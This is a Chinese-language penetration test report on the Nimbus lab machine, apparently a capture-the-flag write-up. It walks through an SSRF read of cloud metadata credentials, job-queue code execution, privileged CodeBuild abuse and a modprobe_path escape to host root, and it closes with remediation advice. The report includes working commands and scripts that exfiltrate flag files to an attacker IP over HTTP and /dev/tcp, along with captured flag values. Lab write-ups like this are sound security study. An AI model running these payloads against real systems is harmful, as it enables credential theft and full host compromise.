滲透測試 SOP

# Nimbus 靶機<br>攻擊鏈與旗標取得

目標 IP：10.129.245.218

測試日期：2026 年 10 月 29 日

授權範圍：單一靶機與其內部模擬雲端服務

| | |
|---|---|
| 結果 | 已取得 user.txt 與 root.txt；主機 root 權限已驗證。 |
| 風險 | Critical | SSRF → IMDS 憑證 → 工作佇列 RCE → privileged CodeBuild → host root |
| 旗標 | user.txt：8717783730d8d4d1011afcc0cdebba10<br>root.txt：462e8b49ff188eb50236ebba425d8278 |




報告以本次靶機實測輸出為準。IAM 臨時憑證與私鑰不納入文件；攻擊者回呼位址依實際測試網路調整。

# 1 | 執行摘要與範圍

在授權測試期間，從公開 HTTP 服務開始，透過 SSRF 讀取雲端 Instance Metadata Service（IMDS）並取得 Web 角色的臨時憑證。該角色可向工作佇列傳送任務；Worker 會把任務中的 Python script 交由 Python 執行，因而取得 worker 容器內程式碼執行。接著，Worker 可直接連線至內部 Floci 模擬 AWS 端點並以 root 身份建立 privileged CodeBuild 工作；Bash 函式環境變數使建置程序以 UID 0 和廣泛 capabilities 執行，最後以 Linux `modprobe_path` usermode-helper 將執行權限提升至主機 root。

## 範圍與限制

| 項目 | 實測結果 |
| --- | --- |
| 目標 | 10.129.245.218；虛擬主機 nimbus.htb / aws.nimbus.htb |
| 服務 | TCP/22 OpenSSH 9.6p1；TCP/80 nginx 1.24.0 |
| 取得權限 | worker UID 1000；CodeBuild 容器 UID 0；最終 host root helper UID 0 |
| 已讀旗標 | user.txt 與 root.txt 均已回呼驗證；root helper 執行後 /proc/sys/kernel/modprobe 還原為 /sbin/modprobe |
| 清理 | 本次建立之測試 CodeBuild 專案已刪除；S3 測試物件已送出刪除請求；宿主測試旗標暫存檔已移除 |

重要證據：CodeBuild 容器 Uid 欄位為 0，CapEff 為 000001ffffffffff；host helper 回報旗標並以 /sbin/modprobe 恢復設定。

# 2 | 攻擊鏈總覽與驗證點




圖 1 | 本次實測攻擊鏈；每一段均由 target 回應、worker callback、CodeBuild 狀態或 root helper callback 證實。

## 操作順序

• 先以 Nmap 確認外部服務，使用 nimbus.htb 虛擬主機檢視 /jobs/preview 與健康狀態端點。

• 利用 URL 預覽的伺服器端抓取功能讀取 IMDS；以十進位 IPv4 表示法繞過簡單的私有位址檢查，再取得 nimbus-web-role 臨時憑證。

• 使用該角色向 nimbus-jobs 發送任務。Worker 以 yaml.load 解析訊息，並執行 job.script；取得 worker UID 1000 的 Python 程式碼執行。

• 從 worker 網路連線到 172.18.0.2:4566，使用模擬服務預設測試憑證 x/x 取得 Floci AWS root 權限。

• 建立 privileged CodeBuild 專案並注入 BASH_FUNC_id%%，實測建置行程 UID 0、CapEff 全開。

• 建置命令將 /proc/sys/kernel/modprobe 指向 overlay upperdir 內的 helper，執行無效格式檔觸發 host usermode-helper，讀出 root.txt。

驗證時保持回呼服務可用；回呼 IP/port 依測試環境調整。所有旗標輸出均由目標或其 helper 實際回傳，不使用其他實例的旗標。

# 3 | 手法一：服務偵查與 SSRF / IMDS

## 3.1 外部服務

在掃描結果中僅確認 22/tcp 與 80/tcp 開放。HTTP 將請求導向 nimbus.htb，應在測試端解析虛擬主機名稱。

PORT SCAN | 10.129.245.218

```
$ nmap -Pn -n -sT -sV -sC -p22,80 10.129.245.218
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http nginx 1.24.0 (Ubuntu)
! HTTP redirects to http://nimbus.htb/
```

圖 2 | Nmap 實測結果摘要。

```
echo "10.129.245.218 nimbus.htb aws.nimbus.htb" | sudo tee -a /etc/hosts

nmap -Pn -n -sT -sV -sC -p 22,80 10.129.245.218
```

## 3.2 預覽功能中的 SSRF

健康端點回應中列出 queue、scheduler、storage 均連至 aws.nimbus.htb。/jobs/preview 會由伺服器抓取使用者提供的 URL；以十進位 IP 2852039166 指向 169.254.169.254，並讓 URL 以 .yaml 字樣結尾可繞過簡單字串檢查。

```
curl -sS -X POST http://nimbus.htb/jobs/preview \
 --data-urlencode "url=http://2852039166/latest/meta-data/iam/security-credentials/nimbus-web-role?x=.yaml"
```

SSRF → IMDS | 回應中的憑證已遮蔽

```
> POST /jobs/preview
url=http://2852039166/latest/meta-data/iam/security-credentials/nimbus-web-role?x=.yaml
< 200 OK role: nimbus-web-role
< AccessKeyId: [REDACTED]
< SecretAccessKey: [REDACTED]
< Token: [REDACTED]
! 2852039166 = 169.254.169.254 (decimal IPv4)
```

圖 3 | IMDS 憑證回應中的 AccessKeyId、SecretAccessKey 與 Token 已遮蔽。

## 證據與風險

預覽頁能回傳 IAM role 的 JSON 憑證內容。這代表可讀取 Web 主機身分憑證；臨時憑證值未在報告中保存或揭露。

# 4 | 手法二：SQS 任務注入與 Worker 程式碼執行

Worker source 顯示：訊息由 yaml.load(body, Loader=yaml.Loader) 解析；若資料為 dict，script 欄位會交給 subprocess.run(["python3", "-c", script])。本次實際利用方式是直接向 nimbus-jobs 傳送合法任務格式，令既有任務執行器執行攻擊者控制的 Python；不需要假設安全預覽端本身會執行 YAML 程式碼。Full YAML loader 仍是另一個可移除的危險點。

WORKER SOURCE | 不可信佇列內容進入 Python 執行器

```
job = yaml.load(body, Loader=yaml.Loader)
name = job.get("name", "<unnamed>")
script = job.get("script", "")
result = subprocess.run(["python3", "-c", script],
capture_output=True, text=True, timeout=30)
! □□□□□□□ + □□ script □□□ = worker RCE
```

圖 4 | 由目標 S3 讀得的 worker.py 關鍵行。

## 發送任務的概念

```
name: authorized-worker-proof
runtime: python3.11
script: |
 import urllib.request
 flag = open("/home/worker/user.txt", "rb").read()
 req = urllib.request.Request(
 "http://10.10.14.209:8765/flags", data=flag, method="POST")
 urllib.request.urlopen(req, timeout=5).read()
```

實際傳送時，使用 boto3 對 http://aws.nimbus.htb 的 SQS SendMessage API 簽章；QueueUrl 為 http://aws.nimbus.htb/847219365028/nimbus-jobs。攻擊者回呼位址需替換成測試端實際位址。

USER FLAG | worker container，uid=1000

```
$ id
uid=1000(worker) gid=1000(worker)
$ cat /home/worker/user.txt
user.txt = 8717783730d8d4d1011afcc0cdebba10
! /root/root.txt → PermissionError (expected before privesc)
```

圖 5 | worker UID 1000 讀取 user.txt；同一階段讀取 /root/root.txt 會被拒絕。

結果：user.txt = 8717783730d8d4d1011afcc0cdebba10

# 5 | 手法三：Floci root 與 CodeBuild privileged 執行

Worker 可直接連線至內部 Floci 端點 http://172.18.0.2:4566。以模擬服務測試憑證 x/x 呼叫 STS，回應 ARN 為 arn:aws:iam::847219365028:root。這是模擬 AWS 服務權限，不應與 Linux host root 混為一談；此權限足以建立 CodeBuild 專案。

## 5.1 建立 privileged 專案

```
import boto3
floci = boto3.client("codebuild", endpoint_url="http://172.18.0.2:4566",
 region_name="us-east-1", aws_access_key_id="x", aws_secret_access_key="x")

project = {
 "name": "cb-modprobe-root",
 "source": {"type": "NO_SOURCE", "buildspec": BUILD_SPEC},
 "artifacts": {"type": "NO_ARTIFACTS"},
 "environment": {
 "type": "LINUX_CONTAINER", "image": "floci/floci:latest",
 "computeType": "BUILD_GENERAL1_SMALL", "privilegedMode": True,
 "environmentVariables": [{
 "name": "BASH_FUNC_id%%",
 "value": "() { echo \"uid=0(root) gid=0(root) groups=0(root)\"; }",
 "type": "PLAINTEXT"}]},
 "serviceRole": "arn:aws:iam::847219365028:role/service-role/codebuild"
}
floci.create_project(**project)
floci.start_build(projectName="cb-modprobe-root")
```

BASH_FUNC_id%% 會在 Bash 啟動時匯入函式。本次以它影響映像啟動時的身分判斷；CodeBuild 建置容器實測 Uid=0，CapEff=000001ffffffffff。

## 5.2 建置環境實測證據

ROOT PROOF | privileged CodeBuild + modprobe usermode-helper

```
BUILD UID=uid=0(root) gid=0(root) groups=0(root)
Uid: 0 0 0 0
CapEff: 000001ffffffffff
SET_RC=0 modprobe_path=<overlay upperdir>/tmp/payload.sh
ROOT_HELPER uid=0 flag=462e8b49ff188eb50236ebba425d8278
ARTIFACT_CLEANUP=removed MODPROBE=/sbin/modprobe
```

圖 6 | 建置容器 UID/capabilities、root helper 回呼與清理結果。

# 6 | 手法四：modprobe_path → 主機 root

在 privileged 建置容器內建立 helper，從 /proc/mounts 取得該容器 overlay 的 upperdir，將 kernel modprobe_path 指向 upperdir 中可執行的 helper。以無效格式的可執行檔觸發核心 usermode-helper；host helper 以 UID 0 讀取 /root/root.txt 並回傳旗標。

```
# BuildSpec commands in the BASH_FUNC_id%% privileged project
cat > /tmp/payload.sh <<'SH'
#!/bin/bash
D=$(cat /root/root.txt)
# Send the flag to the authorized listener
exec 9<>/dev/tcp/10.10.14.209/9071
printf 'ROOT_HELPER uid=%s flag=%s\n' "$(id -u)" "$D" >&9
exec 9>&-
# Restore the original sysctl
 echo /sbin/modprobe > /proc/sys/kernel/modprobe
SH
chmod +x /tmp/payload.sh
UPPER=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /proc/mounts | head -1)
echo "$UPPER/tmp/payload.sh" > /proc/sys/kernel/modprobe
# Trigger the unknown-format handler
 dd if=/dev/zero of=/tmp/x bs=4 count=1
chmod +x /tmp/x
/tmp/x || true
```

本次實際 root helper 回呼：ROOT_HELPER uid=0 flag=462e8b49ff188eb50236ebba425d8278。Worker 後續確認 /proc/sys/kernel/modprobe 已還原為 /sbin/modprobe，core_pattern 保持原始 Apport 設定。測試建立的宿主暫存旗標檔亦已刪除。

結果：root.txt = 462e8b49ff188eb50236ebba425d8278

重現時需先啟動 TCP listener（本次為 10.10.14.209:9071）。若環境限制回連，將 helper 輸出改寫到可由 Worker 讀取的受控回傳通道；不要把旗標寫到長期或公開儲存。

# 7 | 發現與修補建議

## F-01 | Critical | SSRF 可讀取 IMDS 憑證

影響：/jobs/preview 抓取使用者控制 URL，IP 防護與副檔名字串檢查可由十進位 IPv4 與 query suffix 繞過；可讀取 nimbus-web-role 臨時憑證。

修補：只允許固定 scheme/host 清單；在 DNS 解析、每次 redirect 與連線位址層封鎖 loopback、link-local、RFC1918、IPv6 私有範圍及非標準 IP 表示法。將 URL 解析後做規則判定，避免副檔名字串檢查。限制 web 容器對 metadata 與內網的 egress；啟用 IMDSv2 並採最小權限角色。

## F-02 | Critical | Worker 任務可執行攻擊者 Python

影響：Web role 可發送 SQS 任務；Worker 直接執行 script 欄位，並使用 yaml.load 的 full loader。

修補：移除任務中的任意 script 欄位；任務改為嚴格 schema 的資料型態與固定 handler。改用 yaml.safe_load，驗證型別、欄位和大小；對隊列採專用簽章/生產者身分，不授予預覽服務任意 SendMessage。Worker 使用獨立低權限角色與網路隔離。

## F-03 | Critical | 內部 Floci 管理端點暴露給 Worker

影響：Worker 可直接以 root 權限連線 172.18.0.2:4566，建立 CodeBuild 專案。

修補：將 Floci/LocalStack 管理端點從工作負載網路隔離；移除 x/x 預設憑證；啟用服務端授權與最小權限。

## F-04 | Critical | privileged CodeBuild 可達 host kernel helper

影響：CodeBuild 可由攻擊者控制 privilegedMode 與 BASH_FUNC 環境變數，並改寫 modprobe_path，取得 host root。

修補：禁止不受信任者控制 image、buildspec、環境變數和 privilegedMode；移除 privileged builds，限制 SYS_MODULE/SYS_ADMIN capability；將 /proc/sys 設為唯讀並監控 modprobe_path/core_pattern 變更；CodeBuild service role 採最小權限。

# 8 | 清理狀態、重測清單與證據索引

## 清理與狀態

• 本次建立的 cb-root-a1、cb-gosu-core、cb-id-probe、cb-command-probe、cb-shell-callback、cb-modprobe-* 等 CodeBuild 專案均已刪除。

• 測試 S3 物件已送出刪除請求；root helper 回報建立的測試旗標暫存檔已移除。

• modprobe_path 已復原為 /sbin/modprobe；core_pattern 維持原設定。

• IMDS 臨時憑證與 EIC 私鑰未放入報告；本機工作證據中的敏感原始檔已於交付前清理。

## 修補後重測清單

• 對 decimal / octal / hexadecimal / IPv6 表示法及 redirect-to-private 測試 SSRF；應全部拒絕。

• 從 web role 驗證無法讀取 IMDS，亦無法向 worker queue 任意 SendMessage。

• 向 Worker 提交帶 script、Python object tag、未知欄位或超大 YAML 的任務；應拒絕且不執行。

• 從 Worker 網路驗證無法連線到 Floci 管理端點；預設測試憑證失效。

• 以非管理者建立或更新 CodeBuild 專案；應不能開啟 privilegedMode、注入 BASH_FUNC_* 或任意 buildspec。

• 在建置容器檢查 /proc/sys/kernel/modprobe 與 core_pattern；不應有寫入權，且異常變更應告警。

## 主要證據索引

Nmap 服務掃描（22/80）；health endpoint 回應（aws.nimbus.htb）；worker.py 原始碼；worker user.txt callback；CodeBuild UID/capabilities 輸出；root helper callback；modprobe 還原與清理回應。報告不包含 IAM secret、session token 或私鑰。

完成判定：user.txt 與 root.txt 均已實際讀取並回傳；主機 root 權限以 UID 0 helper 回呼驗證。